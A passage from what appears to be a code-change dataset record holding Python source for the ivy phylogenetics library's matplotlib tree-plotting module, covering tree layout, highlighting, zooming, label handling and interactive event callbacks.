pc.angle\n                px = math.cos(math.radians(coords.angle))*pc.depth\n                py = math.sin(math.radians(coords.angle))*pc.depth\n\n            ## segments.append([(x, y),(px, y)])\n            verts.append((x,y)); codes.append(M)\n            verts.append((px,py)); codes.append(L)\n\n        if verts:\n            patch = PathPatch(Path(verts, codes), fill=False,\n                              linewidth=3, edgecolor='black')\n            self.add_patch(patch)\n\n            ## self.add_artist(Line2D(\n            ##     [x,px], [y,py], lw=3, solid_capstyle=\"butt\", color=\"black\"\n            ##     ))\n\n    def hl(self, s):\n        nodes = self.root.findall(s)\n        if nodes:\n            self.highlight(nodes)\n\n    def hlines(self, nodes, width=5, color=\"red\", xoff=0, yoff=0):\n        offset = IdentityTransform()\n        segs = []; w = []; o = []\n        for n in filter(lambda x:x.parent, nodes):\n            c = self.n2c[n]; p = self.n2c[n.parent]\n            segs.append(((p.x,c.y),(c.x,c.y)))\n            w.append(width); o.append((xoff,yoff))\n        lc = LineCollection(segs, linewidths=w, transOffset=offset, offsets=o)\n        lc.set_color(color)\n        Axes.add_collection(self, lc)\n        ## self.drawstack.append((\"hlines\", [nodes], dict(width=width,\n        ##                                                color=color,\n        ##                                                xoff=xoff,\n        ##                                                yoff=yoff)))\n        self.figure.canvas.draw_idle()\n        return lc\n\n    def hardcopy(self, relwidth=0.5, leafpad=1.5):\n        p = HC.TreeFigure(self.root, relwidth=relwidth, leafpad=leafpad,\n                          name=self.name, support=self.support,\n                          leaf_fontsize=self.leaf_fontsize,\n                          branch_fontsize=self.branch_fontsize,\n                          branch_width=self.branch_width,\n                          branch_color=self.branch_color,\n                          highlight_support=self.highlight_support,\n                          branchlabels=self.branchlabels,\n                          decorators=self.decorators,\n                          leaflabels=self.leaflabels,\n                          mark_named=self._mark_named,\n                          xlim=self.get_xlim(),\n                          ylim=self.get_ylim())\n        return p\n\n    def highlight(self, nodes=None, width=5, color=\"red\"):\n        if self.highlightpatch:\n            try:\n                self.highlightpatch.remove()\n            except:\n                pass\n        if not nodes:\n            return\n\n        if len(nodes)>1:\n            mrca = self.root.mrca(nodes)\n            if not mrca:\n                return\n        else:\n            mrca = list(nodes)[0]\n\n        M = Path.MOVETO; L = Path.LINETO\n        verts = []\n        codes = []\n        seen = set()\n        for node, coords in [ x for x in self.n2c.items() if x[0] in nodes ]:\n            x = coords.x; y = coords.y\n            p = node.parent\n            while p:\n                pcoords = self.n2c[p]\n                px = pcoords.x; py = pcoords.y\n                if node not in seen:\n                    verts.append((x, y)); codes.append(M)\n                    verts.append((px, y)); codes.append(L)\n                    verts.append((px, py)); codes.append(L)\n                    seen.add(node)\n                if p == mrca or node == mrca:\n                    break\n                node = p\n                coords = self.n2c[node]\n                x = coords.x; y = coords.y\n                p = node.parent\n        px, py = verts[-1]\n        verts.append((px, py)); codes.append(M)\n\n        self.highlightpath = Path(verts, codes)\n        self.highlightpatch = PathPatch(\n            self.highlightpath, fill=False, linewidth=width, edgecolor=color,\n            capstyle='round', joinstyle='round'\n            )\n        return self.add_patch(self.highlightpatch)\n\n    def find(self, s):\n        \"\"\"\n        Find node(s) matching pattern s and zoom to node(s)\n        \"\"\"\n        nodes = list(self.root.find(s))\n        if nodes:\n            self.zoom_nodes(nodes)\n\n    def zoom_nodes(self, nodes, border=1.2):\n        y0, y1 = self.get_ylim(); x0, x1 = self.get_xlim()\n        y0 = max(0, y0); y1 = min(1, y1)\n\n        n2c = self.n2c\n        v = [ n2c[n] for n in nodes ]\n        ymin = min([ c.y for c in v ])\n        ymax = max([ c.y for c in v ])\n        xmin = min([ c.x for c in v ])\n        xmax = max([ c.x for c in v ])\n        bb = Bbox(((xmin,ymin), (xmax, ymax)))\n\n        # convert data coordinates to display coordinates\n        transform = self.transData.transform\n        disp_bb = [Bbox(transform(bb))]\n        for n in nodes:\n            if n.isleaf:\n                txt = self.node2label[n]\n                if txt.get_visible():\n                    disp_bb.append(txt.get_window_extent())\n\n        disp_bb = Bbox.union(disp_bb).expanded(border, border)\n\n        # convert back to data coordinates\n        points = self.transData.inverted().transform(disp_bb)\n        x0, x1 = points[:,0]\n        y0, y1 = points[:,1]\n        self.set_xlim(x0, x1)\n        self.set_ylim(y0, y1)\n\n    def zoom_clade(self, anc, border=1.2):\n        if anc.isleaf:\n            self.center_node(anc)\n\n        else:\n            self.zoom_nodes(list(anc), border)\n\n    def draw_leaf_labels(self, *args):\n        leaves = list(filter(lambda x:x[0].isleaf,\n                             self.get_visible_nodes(labeled_only=True)))\n        psep = self.leaf_pixelsep()\n        fontsize = min(self.leaf_fontsize, max(psep, 8))\n        n2l = self.node2label\n        transform = self.transData.transform\n        sub = operator.sub\n\n        for n in leaves:\n            n2l[n[0]].set_visible(False)\n\n        # draw leaves\n        leaves_drawn = []\n        for n, x, y in leaves:\n            txt = self.node2label[n]\n            if not leaves_drawn:\n                txt.set_visible(True)\n                leaves_drawn.append(txt)\n                self.figure.canvas.draw_idle()\n                continue\n\n            txt2 = leaves_drawn[-1]\n            y0 = y; y1 = txt2.xy[1]\n            sep = sub(*transform(([0,y0],[0,y1]))[:,1])\n            if sep > fontsize:\n                txt.set_visible(True)\n                txt.set_size(fontsize)\n                leaves_drawn.append(txt)\n        self.figure.canvas.draw_idle()\n\n        if leaves_drawn:\n            leaves_drawn[0].set_size(fontsize)\n\n        return fontsize\n\n    def draw_labels(self, *args):\n        fs = max(10, self.draw_leaf_labels())\n        nodes = self.get_visible_nodes(labeled_only=True)\n        ## print [ x[0].id for x in nodes ]\n        branches = list(filter(lambda x:(not x[0].isleaf), nodes))\n        n2l = self.node2label\n        for n, x, y in branches:\n            t = n2l[n]\n            t.set_visible(True)\n            t.set_size(fs)\n\n    def unclutter(self, *args):\n        nodes = self.get_visible_nodes(labeled_only=True)\n        branches = list(filter(lambda x:(not x[0].isleaf), nodes))\n        psep = self.leaf_pixelsep()\n        n2l = self.node2label\n        fontsize = min(self.leaf_fontsize*1.2, max(psep, self.leaf_fontsize))\n\n        drawn = []\n        for n, x, y in branches:\n            txt = n2l[n]\n            try:\n                bb = txt.get_window_extent().expanded(2, 2)\n                vis = True\n                for n2 in reversed(drawn):\n                    txt2 = n2l[n2]\n                    if bb.overlaps(txt2.get_window_extent()):\n                        txt.set_visible(False)\n                        vis = False\n                        self.figure.canvas.draw_idle()\n                        break\n                if vis:\n                    txt.set_visible(True)\n                    txt.set_size(fontsize)\n                    self.figure.canvas.draw_idle()\n                    drawn.append(n)\n            except RuntimeError:\n                pass\n                ## txt.set_visible(True)\n                ## txt.set_size(fontsize)\n                ## drawn.append(n)\n                ## self.figure.canvas.draw_idle()\n\n    def leaf_pixelsep(self):\n        y0, y1 = self.get_ylim()\n        y0 = max(0, y0)\n        y1 = min(self.nleaves, y1)\n        display_points = self.transData.transform(((0, y0), (0, y1)))\n        # height in pixels (visible y data extent)\n        height = operator.sub(*reversed(display_points[:,1]))\n        pixelsep = height/((y1-y0)/self.leaf_hsep)\n        return pixelsep\n\n    def ypp(self):\n        y0, y1 = self.get_ylim()\n        p0, p1 = self.transData.transform(((0, y0), (0, y1)))[:,1]\n        return (y1-y0)/float(p1-p0)\n\n    def draw_labels_old(self, *args):\n        if self.nleaves:\n            y0, y1 = self.get_ylim()\n            y0 = max(0, y0); y1 = min(1, y1)\n\n            display_points = self.transData.transform(((0, y0), (0, y1)))\n            # height in pixels (visible y data extent)\n            height = operator.sub(*reversed(display_points[:,1]))\n            pixelsep = height/((y1-y0)/self.leaf_hsep)\n            fontsize = min(max(pixelsep-2, 8), 12)\n\n            if pixelsep >= 8:\n                for node, txt in self.node2label.items():\n                    if node.isleaf:\n                        if self.leaflabels:\n                            c = self.n2c[node]\n                            x = c.x; y = c.y\n                            if (y0 < y < y1):\n                                txt.set_size(fontsize)\n                                txt.set_visible(True)\n                    else:\n                        if self.branchlabels:\n                            c = self.n2c[node]\n                            x = c.x; y = c.y\n                            if (y0 < y < y1):\n                                txt.set_size(fontsize)\n                                txt.set_visible(True)\n            elif pixelsep >= 4:\n                for node, txt in self.node2label.items():\n                    if node.isleaf:\n                        txt.set_visible(False)\n                    else:\n                        if self.branchlabels:\n                            c = self.n2c[node]\n                            x = c.x; y = c.y\n                            if (y0 < y < y1):\n                                txt.set_size(fontsize)\n                                txt.set_visible(True)\n            else:\n                for node, txt in self.node2label.items():\n                    txt.set_visible(False)\n            self.figure.canvas.draw_idle()\n\n    def redraw(self, home=False, layout=True):\n        \"\"\"\n        Replot the tree\n        \"\"\"\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        self.cla()\n        if layout:\n            self.layout()\n        self.plot_tree()\n        if self.interactive:\n            self.callbacks.connect(\"ylim_changed\", self.draw_labels)\n\n        if home:\n            self.home()\n        else:\n            self.set_xlim(*xlim)\n            self.set_ylim(*ylim)\n\n    def set_name(self, name):\n        self.name = name\n        if name:\n            at = AnchoredText(\n                self.name, loc=2, frameon=True,\n                prop=dict(size=12, weight=\"bold\")\n                )\n            at.patch.set_linewidth(0)\n            at.patch.set_facecolor(\"white\")\n            at.patch.set_alpha(0.6)\n            self.add_artist(at)\n            return at\n\n    def _path_to_parent(self, node):\n        \"\"\"\n        For use in drawing branches\n        \"\"\"\n        c = self.n2c[node]; x = c.x; y = c.y\n        pc = self.n2c[node.parent]; px = pc.x; py = pc.y\n        M = Path.MOVETO; L = Path.LINETO\n        verts = [(x, y), (px, y), (px, py)]\n        codes = [M, L, L]\n        return verts, codes\n        ## return [PathPatch(Path(verts, codes), fill=False,\n        ##                   linewidth=width or self.branch_width,\n        ##                   edgecolor=color or self.branch_color)]\n\n\n    def layout(self):\n        self.n2c = cartesian(self.root, scaled=self.scaled, yunit=1.0,\n                             smooth=self.smooth_xpos)\n        for c in self.n2c.values():\n            c.x += self.xoff; c.y += self.yoff\n        sv = sorted([\n            [c.y, c.x, n] for n, c in self.n2c.items()\n            ])\n        self.coords = sv#numpy.array(sv)\n        ## n2c = self.n2c\n        ## self.node2linesegs = {}\n        ## for node, coords in n2c.items():\n        ##     x = coords.x; y = coords.y\n        ##     v = [(x,y)]\n        ##     if node.parent:\n        ##         pcoords = n2c[node.parent]\n        ##         px = pcoords.x; py = pcoords.y\n        ##         v.append((px,y))\n        ##         v.append((px,py))\n        ##         self.node2linesegs[node] = v\n\n    def set_root(self, root):\n        self.root = root\n        self.leaves = root.leaves()\n        self.nleaves = len(self.leaves)\n        self.leaf_hsep = 1.0#/float(self.nleaves)\n\n        for n in root.descendants():\n            if n.length is None:\n                self.scaled=False; break\n        self.layout()\n\n    def plot_tree(self, root=None, **kwargs):\n        \"\"\"\n        Draw branches and labels\n        \"\"\"\n        if root and not self.root:\n            self.set_root(root)\n\n        if self.interactive: pyplot.ioff()\n\n        if \"branchlabels\" in kwargs:\n            self.branchlabels = kwargs[\"branchlabels\"]\n        if \"leaflabels\" in kwargs:\n            self.leaflabels = kwargs[\"leaflabels\"]\n        self.yaxis.set_visible(False)\n        self.create_branch_artists()\n        self.create_label_artists()\n        if self.highlight_support:\n            self.do_highlight_support()\n        self.mark_named()\n        ## self.home()\n\n        for k, v in self.decorators:\n            func, args, kwargs = v\n            func(self, *args, **kwargs)\n\n        self.set_name(self.name)\n        self.adjust_xspine()\n\n        if self.interactive: pyplot.ion()\n\n        labels = [ x.label for x in self.root.leaves() ]\n        def fmt(x, pos=None):\n            if x<0: return \"\"\n            try: return labels[int(round(x))]\n            except: pass\n            return \"\"\n        #self.yaxis.set_major_formatter(FuncFormatter(fmt))\n\n        return self\n\n    def clade_dimensions(self):\n        n2c = self.n2c\n        d = {}\n        def recurse(n, n2c, d):\n            v = []\n            for c in n.children:\n                recurse(c, n2c, d)\n                if c.isleaf:\n                    x, y = n2c[c].point()\n                    x0 = x1 = x; y0 = y1 = y\n                else:\n                    x0, x1, y0, y1 = d[c]\n                v.append((x0, x1, y0, y1))\n            if v:\n                x0 = n2c[n].x\n                x1 = max([ x[1] for x in v ])\n                y0 = min([ x[2] for x in v ])\n                y1 = max([ x[3] for x in v ])\n                d[n] = (x0, x1, y0, y1)\n        recurse(self.root, n2c, d)\n        return d\n\n    def clade_height_pixels(self):\n        ypp = self.ypp()\n        d = self.clade_dimensions()\n        h = {}\n        for n, (x0, x1, y0, y1) in d.items():\n            h[n] = (y1-y0)/ypp\n        return h\n\n    def _decimate_nodes(self, n=500):\n        leaves = self.leaves\n        nleaves = len(leaves)\n        if nleaves > n:\n            indices = numpy.linspace(0, nleaves-1, n).astype(int)\n            leaves = [ leaves[i] for i in indices ]\n            return set(list(chain.from_iterable([ list(x.rootpath())\n                                                  for x in leaves ])))\n        else:\n            return self.root\n\n    def create_branch_artists(self):\n        \"\"\"\n        Use MPL Paths to draw branches\n        \"\"\"\n        ## patches = []\n        verts = []; codes = []\n        for node in self.root.descendants():\n            v, c = self._path_to_parent(node)\n            verts.extend(v); codes.extend(c)\n        self.branchpatch = PathPatch(\n            Path(verts, codes), fill=False,\n            linewidth=self.branch_width,\n            edgecolor=self.branch_color\n            )\n        self.add_patch(self.branchpatch)\n        ## for node in self._decimate_nodes():\n        ##     if node.parent:\n        ##         for p in self._path_to_parent(node):\n        ##             patches.append(p)\n        ## self.branch_patches = PatchCollection(patches, match_original=True)\n        ## self.add_collection(self.branch_patches)\n\n        ## print \"enter: create_branch_artists\"\n        ## self.node2branch = {}\n        ## for node, segs in self.node2linesegs.items():\n        ##     line = Line2D(\n        ##         [x[0] for x in segs], [x[1] for x in segs],\n        ##         lw=self.branch_width, color=self.branch_color\n        ##         )\n        ##     line.set_visible(False)\n        ##     Axes.add_artist(self, line)\n        ##     self.node2branch[node] = line\n\n        ## d = self.node2linesegs\n        ## segs = [ d[n] for n in self.root if (n in d) ]\n\n        ## dims = self.clade_dimensions(); ypp = self.ypp()\n        ## def recurse(n, dims, clades, terminals):\n        ##     stop = False\n        ##     h = None\n        ##     v = dims.get(n)\n        ##     if v: h = (v[3]-v[2])/ypp\n        ##     if (h and (h < 20)) or (not h):\n        ##         stop = True\n        ##         terminals.append(n)\n        ##     if not stop:\n        ##         clades.append(n)\n        ##         for c in n.children:\n        ##             recurse(c, dims, clades, terminals)\n        ## clades = []; terminals = []\n        ## recurse(self.root, dims, clades, terminals)\n        ## segs = [ d[n] for n in self.root if (n in d) and (n in clades) ]\n        ## for t in terminals:\n        ##     if t.isleaf:\n        ##         segs.append(d[t])\n        ##     else:\n        ##         x0, x1, y0, y1 = dims[t]\n        ##         x, y = self.n2c[t].point()\n        ##         px, py = self.n2c[t.parent].point()\n        ##         segs.append(((px,py), (px,y), (x,y), (x1, y0), (x1,y1), (x,y)))\n\n        ## lc = LineCollection(segs, linewidths=self.branch_width,\n        ##                     colors = self.branch_color)\n        ## self.branches_linecollection = Axes.add_collection(self, lc)\n        ## print \"leave: create_branch_artists\"\n\n    def create_label_artists(self):\n        ## print \"enter: create_label_artists\"\n        self.node2label = {}\n        n2c = self.n2c\n        for node, coords in n2c.items():\n            x = coords.x; y = coords.y\n            if node.isleaf and node.label and self.leaflabels:\n                txt = self.annotate(\n                    node.label,\n                    xy=(x, y),\n                    xytext=(self.leaf_offset, 0),\n                    textcoords=\"offset points\",\n                    verticalalignment=self.leaf_valign,\n                    horizontalalignment=self.leaf_halign,\n                    fontsize=self.leaf_fontsize,\n                    clip_on=True,\n                    picker=True\n                )\n                txt.node = node\n                txt.set_visible(False)\n                self.node2label[node] = txt\n\n            if (not node.isleaf) and node.label and self.branchlabels:\n                txt = self.annotate(\n                    node.label,\n                    xy=(x, y),\n                    xytext=(self.branch_offset,0),\n                    textcoords=\"offset points\",\n                    verticalalignment=self.branch_valign,\n                    horizontalalignment=self.branch_halign,\n                    fontsize=self.branch_fontsize,\n                    bbox=dict(fc=\"lightyellow\", ec=\"none\", alpha=0.8),\n                    clip_on=True,\n                    picker=True\n                )\n                ## txt.set_visible(False)\n                txt.node = node\n                self.node2label[node] = txt\n        ## print \"leave: create_label_artists\"\n\n    def adjust_xspine(self):\n        v = sorted([ c.x for c in self.n2c.values() ])\n        try:\n            self.spines[\"bottom\"].set_bounds(v[0],v[-1])\n        except AttributeError:\n            pass\n        for t,n,s in self.xaxis.iter_ticks():\n            if (n > v[-1]) or (n < v[0]):\n                t.set_visible(False)\n\n    def mark_named(self):\n        if self._mark_named:\n            n2c = self.n2c\n            cv = [ c for n, c in n2c.items() if n.label and (not n.isleaf) ]\n            x = [ c.x for c in cv ]\n            y = [ c.y for c in cv ]\n            if x and y:\n                self.scatter(x, y, s=5, color='black')\n\n    def home(self):\n        td = self.transData\n        trans = td.inverted().transform\n        xmax = xmin = ymax = ymin = 0\n        if self.node2label:\n            try:\n                v = [ x.get_window_extent() for x in self.node2label.values()\n                      if x.get_visible() ]\n                if v:\n                    xmax = trans((max([ x.xmax for x in v ]),0))[0]\n                    xmin = trans((min([ x.xmin for x in v ]),0))[0]\n            except RuntimeError:\n                pass\n\n        v = self.n2c.values()\n        ymin = min([ c.y for c in v ])\n        ymax = max([ c.y for c in v ])\n        xmin = min(xmin, min([ c.x for c in v ]))\n        xmax = max(xmax, max([ c.x for c in v ]))\n        xspan = xmax - xmin; xpad = xspan*0.05\n        yspan = ymax - ymin; ypad = yspan*0.05\n        self.set_xlim(xmin-xpad, xmax+xpad*2)\n        self.set_ylim(ymin-ypad, ymax+ypad)\n        self.adjust_xspine()\n\n    def scroll(self, x, y):\n        x0, x1 = self.get_xlim()\n        y0, y1 = self.get_ylim()\n        xd = (x1-x0)*x\n        yd = (y1-y0)*y\n        self.set_xlim(x0+xd, x1+xd)\n        self.set_ylim(y0+yd, y1+yd)\n        self.adjust_xspine()\n\n    def plot_labelcolor(self, nodemap, state2color=None):\n        if state2color is None:\n            c = colors.tango()\n            states = sorted(set(nodemap.values()))\n            state2color = dict(zip(states, c))\n\n        for node, txt in self.node2label.items():\n            s = nodemap.get(node)\n            if s is not None:\n                c = state2color[s]\n                if c:\n                    txt.set_color(c)\n        self.figure.canvas.draw_idle()\n\n    def node_image(self, node, imgfile, maxdim=100, border=0):\n        xoff = self.leaf_offset\n        n = self.root[node]; c = self.n2c[n]; p = (c.x, c.y)\n        img = Image.open(imgfile)\n        if max(img.size) > maxdim:\n            img.thumbnail((maxdim, maxdim))\n        imgbox = OffsetImage(img)\n        xycoords = self.node2label.get(node) or \"data\"\n        if xycoords != \"data\": p = (1, 0.5)\n        abox = AnnotationBbox(imgbox, p,\n                              xybox=(xoff, 0.0),\n                              xycoords=xycoords,\n                              box_alignment=(0.0,0.5),\n                              pad=0.0,\n                              boxcoords=(\"offset points\"))\n        self.add_artist(abox)\n\n    def plot_discrete(self, data, cmap=None, name=None,\n                      xoff=10, yoff=0, size=15, legend=1):\n        root = self.root\n        if cmap is None:\n            import ivy\n            c = colors.tango()\n            states = sorted(set(data.values()))\n            cmap = dict(zip(states, c))\n        n2c = self.n2c\n        points = []; c = []\n        d = dict([ (n, data.get(n)) for n in root if data.get(n) is not None ])\n        for n, v in d.items():\n            coord = n2c[n]\n            points.append((coord.x, coord.y)); c.append(cmap[v])\n\n        boxes = symbols.squares(self, points, c, size, xoff=xoff, yoff=yoff)\n\n        if legend:\n            handles = []; labels = []\n            for v, c in sorted(cmap.items()):\n                handles.append(Rectangle((0,0),0.5,1,fc=c))\n                labels.append(str(v))\n            self.legend(handles, labels, loc=legend)\n\n        self.figure.canvas.draw_idle()\n        return boxes\n\n    def plot_continuous(self, data, mid=None, name=None, cmap=None,\n                        size=15, colorbar=True):\n        area = (size*0.5)*(size*0.5)*numpy.pi\n        values = data.values()\n        vmin = min(values); vmax = max(values)\n        if mid is None:\n            mid = (vmin+vmax)*0.5\n            delta = vmax-vmin*0.5\n        else:\n            delta = max(abs(vmax-mid), abs(vmin-mid))\n        norm = mpl_colors.Normalize(mid-delta, mid+delta)\n        ## if cmap is None: cmap = mpl_colormap.binary\n        if cmap is None: cmap = mpl_colormap.hot\n        n2c = self.n2c\n        X = numpy.array(\n            [ (n2c[n].x, n2c[n].y, v) for n, v in data.items() if n in n2c ]\n            )\n        circles = self.scatter(\n            X[:,0], X[:,1], s=area, c=X[:,2], cmap=cmap, norm=norm,\n            zorder=1000\n            )\n        if colorbar:\n            cbar = self.figure.colorbar(circles, ax=self, shrink=0.7)\n            if name:\n                cbar.ax.set_xlabel(name)\n\n        self.figure.canvas.draw_idle()\n\nclass RadialTree(Tree):\n    def layout(self):\n        from ..layout_polar import calc_node_positions\n        start = self.start if hasattr(self, 'start') else 0\n        end = self.end if hasattr(self, 'end') else None\n        self.n2c = calc_node_positions(self.root, scaled=self.scaled,\n                                       start=start, end=end)\n        sv = sorted([\n            [c.y, c.x, n] for n, c in self.n2c.items()\n            ])\n        self.coords = sv\n\n    ## def _path_to_parent(self, node, width=None, color=None):\n    ##     c = self.n2c[node]; theta1 = c.angle; r = c.depth\n    ##     M = Path.MOVETO; L = Path.LINETO\n    ##     pc = self.n2c[node.parent]; theta2 = pc.angle\n    ##     px1 = math.cos(math.radians(c.angle))*pc.depth\n    ##     py1 = math.sin(math.radians(c.angle))*pc.depth\n    ##     verts = [(c.x,c.y),(px1,py1)]; codes = [M,L]\n    ##     #verts.append((pc.x,pc.y)); codes.append(L)\n    ##     path = PathPatch(Path(verts, codes), fill=False,\n    ##                      linewidth=width or self.branch_width,\n    ##                      edgecolor=color or self.branch_color)\n    ##     diam = pc.depth*2\n    ##     t1, t2 = tuple(sorted((theta1,theta2)))\n    ##     arc = Arc((0,0), diam, diam, theta1=t1, theta2=t2,\n    ##               edgecolor=color or self.branch_color,\n    ##               linewidth=width or self.branch_width)\n    ##     return [path, arc]\n\n    def _path_to_parent(self, node):\n        c = self.n2c[node]; theta1 = c.angle; r = c.depth\n        M = Path.MOVETO; L = Path.LINETO\n        pc = self.n2c[node.parent]; theta2 = pc.angle\n        px1 = math.cos(math.radians(c.angle))*pc.depth\n        py1 = math.sin(math.radians(c.angle))*pc.depth\n        verts = [(c.x,c.y),(px1,py1)]; codes = [M,L]\n        t1, t2 = tuple(sorted((theta1,theta2)))\n        diam = pc.depth*2\n        arc = Arc((0,0), diam, diam, theta1=t1, theta2=t2)\n        arcpath = arc.get_path()\n        av = arcpath.vertices * pc.depth\n        ac = arcpath.codes\n        verts.extend(av.tolist())\n        codes.extend(ac.tolist())\n        return verts, codes\n\n    def highlight(self, nodes=None, width=5, color=\"red\"):\n        if self.highlightpatch:\n            try:\n                self.highlightpatch.remove()\n            except:\n                pass\n        if not nodes:\n            return\n\n        if len(nodes)>1:\n            mrca = self.root.mrca(nodes)\n            if not mrca:\n                return\n        else:\n            mrca = list(nodes)[0]\n\n        M = Path.MOVETO; L = Path.LINETO\n        verts = []\n        codes = []\n        seen = set()\n        patches = []\n        for node, coords in [ x for x in self.n2c.items() if x[0] in nodes ]:\n            x = coords.x; y = coords.y\n            p = node.parent\n            while p:\n                pcoords = self.n2c[p]\n                px = pcoords.x; py = pcoords.y\n                if node not in seen:\n                    v, c = self._path_to_parent(node)\n                    verts.extend(v)\n                    codes.extend(c)\n                    seen.add(node)\n                if p == mrca or node == mrca:\n                    break\n                node = p\n                coords = self.n2c[node]\n                x = coords.x; y = coords.y\n                p = node.parent\n        ## px, py = verts[-1]\n        ## verts.append((px, py)); codes.append(M)\n        self.highlightpath = Path(verts, codes)\n        self.highlightpatch = PathPatch(\n            self.highlightpath, fill=False, linewidth=width, edgecolor=color\n            )\n        self.add_patch(self.highlightpatch)\n        ## self.highlight_patches = PatchCollection(patches, match_original=True)\n        ## self.add_collection(self.highlight_patches)\n\n\nclass OverviewTree(Tree):\n    def __init__(self, *args, **kwargs):\n        kwargs[\"leaflabels\"] = False\n        kwargs[\"branchlabels\"] = False\n        Tree.__init__(self, *args, **kwargs)\n        self.xaxis.set_visible(False)\n        self.spines[\"bottom\"].set_visible(False)\n        self.add_overview_rect()\n\n    def set_target(self, target):\n        self.target = target\n\n    def add_overview_rect(self):\n        rect = UpdatingRect([0, 0], 0, 0, facecolor='black', edgecolor='red')\n        rect.set_alpha(0.2)\n        rect.target = self.target\n        rect.set_bounds(*self.target.viewLim.bounds)\n        self.zoomrect = rect\n        self.add_patch(rect)\n        ## if pyplot.isinteractive():\n        self.target.callbacks.connect('xlim_changed', rect)\n        self.target.callbacks.connect('ylim_changed', rect)\n\n    def redraw(self):\n        Tree.redraw(self)\n        self.add_overview_rect()\n        self.figure.canvas.draw_idle()\n\ndef axes_enter(e):\n    ax = e.inaxes\n    ax._active = True\n\ndef axes_leave(e):\n    ax = e.inaxes\n    ax._active = False\n\ndef onselect(estart, estop):\n    b = estart.button\n    ## print b, estart.key\n\ndef onkeypress(e):\n    ax = e.inaxes\n    k = e.key\n    if ax and k == 't':\n        ax.home()\n    if ax and k == \"down\":\n        ax.scroll(0, -0.1)\n        ax.figure.canvas.draw_idle()\n    if ax and k == \"up\":\n        ax.scroll(0, 0.1)\n        ax.figure.canvas.draw_idle()\n    if ax and k == \"left\":\n        ax.scroll(-0.1, 0)\n        ax.figure.canvas.draw_idle()\n    if ax and k == \"right\":\n        ax.scroll(0.1, 0)\n        ax.figure.canvas.draw_idle()\n    if ax and k and k in '=+':\n        ax.zoom(0.1,0.1)\n    if ax and k == '-':\n        ax.zoom(-0.1,-0.1)\n\ndef ondrag(e):\n    ax = e.inaxes\n    button = e.button\n    if ax and button == 2:\n        if not ax.pan_start:\n            ax.pan_start = (e.xdata, e.ydata)\n            return\n        x, y = ax.pan_start\n        xdelta = x - e.xdata\n        ydelta = y - e.ydata\n        x0, x1 = ax.get_xlim()\n        xspan = x1-x0\n        y0, y1 = ax.get_ylim()\n        yspan = y1 - y0\n        midx = (x1+x0)*0.5\n        midy = (y1+y0)*0.5\n        ax.set_xlim(midx+xdelta-xspan*0.5, midx+xdelta+xspan*0.5)\n        ax.set_ylim(midy+ydelta-yspan*0.5, midy+ydelta+yspan*0.5)\n        ax.adjust_xspine()\n\ndef onbuttonrelease(e):\n    ax = e.inaxes\n    button = e.button\n    if button == 2:\n        ## print \"pan end\"\n        ax.pan_start = None\n\ndef onpick(e):\n    ax = e.mouseevent.inaxes\n    if ax:\n        ax.picked(e)\n\ndef onscroll(e):\n    ax = e.inaxes\n    if ax:\n        b = e.button\n        ## print b\n        k = e.key\n        if k == None and b ==\"up\":\n            ax.zoom(0.1,0.1)\n        if k == None and b ==\"down\":\n            ax.zoom(-0.1,-0.1)\n        if k == \"shift\" and b == \"up\":\n            ax.zoom_cxy(0.1, 0, e.xdata, e.ydata)\n        if k == \"shift\" and b == \"down\":\n            ax.zoom_cxy(-0.1, 0, e.xdata, e.ydata)\n        if k == \"control\" and b == \"up\":\n            ax.zoom_cxy(0, 0.1, e.xdata, e.ydata)\n        if k == \"control\" and b == \"down\":\n            ax.zoom_cxy(0, -0.1, e.xdata, e.ydata)\n        if k == \"d\" and b == \"up\":\n            ax.scroll(0, 0.1)\n        if (k == \"d\" and b == \"down\"):\n            ax.scroll(0, -0.1)\n        if k == \"c\" and b == \"up\":\n            ax.scroll(-0.1, 0)\n        if k == \"c\" and b == \"down\":\n            ax.scroll(0.1, 0)\n        try: ax.adjust_xspine()\n        except: pass\n        ax.figure.canvas.draw_idle()\n\ndef onclick(e):\n    ax = e.inaxes\n    if ax and e.button==1 and hasattr(ax, \"zoomrect\") and ax.zoomrect:\n        # overview clicked; reposition zoomrect\n        r = ax.zoomrect\n        x = e.xdata\n        y = e.ydata\n        arr = ax.transData.inverted().transform(r.get_extents())\n        xoff = (arr[1][0]-arr[0][0])*0.5\n        yoff = (arr[1][1]-arr[0][1])*0.5\n        r.target.set_xlim(x-xoff,x+xoff)\n        r.target.set_ylim(y-yoff,y+yoff)\n        r(r.target)\n        ax.figure.canvas.draw_idle()\n\n    if ax and e.button==2:\n        ## print \"pan start\", (e.xdata, e.ydata)\n        ax.pan_start = (e.xdata, e.ydata)\n\n\ndef test_decorate(treeplot):\n    import evolve\n    data = evolve.brownian(treeplot.root)\n    values = data.values()\n    vmin = min(values); vmax = max(values)\n    norm = mpl_colors.Normalize(vmin, vmax)\n    cmap = mpl_colormap.binary\n    n2c = treeplot.n2c\n    X = numpy.array(\n        [ (n2c[n].x, n2c[n].y, v)\n          for n, v in data.items() if n in n2c ]\n        )\n    circles = treeplot.scatter(\n        X[:,0], X[:,1], s=200, c=X[:,2], cmap=cmap, norm=norm,\n        zorder=100\n        )\n\nclass Decorator(object):\n    def __init__(self, treeplot):\n        self.plot = treeplot\n\nclass VisToggle(object):\n    def __init__(self, name, treeplot=None, value=False):\n        self.name = name\n        self.plot = treeplot\n        self.value = value\n\n    def __nonzero__(self):\n        return self.value\n\n    def __repr__(self):\n        return \"%s: %s\" % (self.name, self.value)\n\n    def redraw(self):\n        if self.plot:\n            self.plot.redraw()\n\n    def toggle(self):\n        self.value = not self.value\n        self.redraw()\n\n    def show(self):\n        if self.value == False:\n            self.value = True\n            self.redraw()\n\n    def hide(self):\n        if self.value == True:\n            self.value = False\n            self.redraw()\n\n\nTreePlot = subplot_class_factory(Tree)\nRadialTreePlot = subplot_class_factory(RadialTree)\nOverviewTreePlot = subplot_class_factory(OverviewTree)\n\nif __name__ == \"__main__\":\n    import evolve\n    root, data = evolve.test_brownian()\n    plot_continuous(root, data, name=\"Brownian\", mid=0.0)\n"}, "files_after": {"ivy/__init__.py": "\"\"\"\nivy - a phylogenetics library and visual shell\nhttp://www.reelab.net/ivy\n\nCopyright 2010 Richard Ree <rree@fieldmuseum.org>\n\nRequired: ipython, matplotlib, scipy, numpy\nUseful: dendropy, biopython, etc.\n\"\"\"\n## This program is free software; you can redistribute it and/or\n## modify it under the terms of the GNU General Public License as\n## published by the Free Software Foundation; either version 3 of the\n## License, or (at your option) any later version.\n\n## This program is distributed in the hope that it will be useful, but\n## WITHOUT ANY WARRANTY; without even the implied warranty of\n## 